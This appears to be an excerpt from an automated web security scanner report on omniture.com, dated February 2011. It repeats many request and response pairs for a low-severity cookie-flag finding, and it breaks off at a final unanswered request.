GET /en/products/marketing_integration/genesis/applications HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:47 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:47 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:47 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:47 GMT; path=/; domain=omniture.com Content-Length: 33517
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Genesis Applications | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/multichannel_analytics HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:29 GMT Content-Length: 23380 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Business Intelligence Software ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/multichannel_analytics/insight HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:34 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:34 GMT Content-Length: 31272 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Insight | Channel Ma ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/multichannel_analytics/insight_retail HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:31 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:31 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:31 GMT Content-Length: 32092 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:31 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Insight for Retail | Channel An ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:01:35 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:01:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:01:36 GMT Content-Length: 24893 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:01:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Web Analytics | Website Statist ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics/digitalpulse HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:06 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:06 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:06 GMT Content-Length: 30768 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:06 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Analytics | Web Analytic ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics/discover HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:01 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:01 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:01 GMT Content-Length: 30260 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:01 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Online Analytics | D ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_analytics/sitecatalyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:02:01 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:02:01 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:02:02 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:02:01 GMT; path=/; domain=omniture.com Content-Length: 41289
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Analytics | Web Analytic ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_business_optimization HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:58:29 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:58:29 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:58:29 GMT Content-Length: 23664 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:58:29 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketing Automation Sof ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/online_marketing_suite HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:00 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:00 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:00 GMT Content-Length: 25358 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:00 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Online Marketing Sui ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/open_business_analytics_platform HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:21 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:21 GMT Content-Length: 23462 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Open Business Analyt ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/open_business_analytics_platform/datawarehouse HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:04:02 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:04:02 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:04:03 GMT Content-Length: 22167 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:04:02 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Open Business Analyt ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/tours HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:03:58 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:03:58 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:03:58 GMT Content-Length: 27316 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:03:58 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture - Online Product Tours ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/visitor_acquisition HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:18 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:18 GMT Content-Length: 23448 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Visitor Acquisition | Search En ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/visitor_acquisition/searchcenter HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:58 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:58 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:58 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:58 GMT; path=/; domain=omniture.com Content-Length: 34152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Search Engine Marketing, PPC Bi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:38 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:13:38 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:39 GMT Content-Length: 31803 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:38 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/articles HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
